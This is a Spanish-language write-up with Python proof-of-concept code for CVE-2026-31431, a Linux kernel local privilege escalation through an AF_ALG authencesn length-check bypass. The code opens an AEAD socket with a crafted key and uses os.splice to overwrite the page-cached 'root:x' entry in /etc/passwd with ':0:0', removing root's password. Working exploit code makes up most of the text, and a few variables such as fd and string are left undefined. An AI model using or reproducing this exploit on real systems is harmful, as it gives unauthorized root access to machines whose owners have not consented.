
Prueba de concepto de exploit para CVE-2026-31431, una escalada de privilegios en el kernel de Linux mediante la omisión de la comprobación de longitud de authenc en AF_ALG, logrando acceso root al modificar /etc/passwd.
Esta vulnerabilidad explota un fallo en la función de verificación de longitud authencesn en Linux, lo que provoca que una página sucia (dirty page) se escriba de vuelta (write back) en un lugar al que el usuario no tiene permisos, causando una escalada de privilegios
El principio de ataque se basa principalmente en este repo, con algunas modificaciones en el payload
https://github.com/rootsecdev/cve_2026_31431
Esta imagen es el parche de corrección del kernel Linux 6.12.85; en el futuro se hará trace del código con estos parches
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
El objetivo es cambiar la contraseña de root en /etc/passwd a una sin contraseña (sin pasar por la verificación de /etc/shadow)
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# Send payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass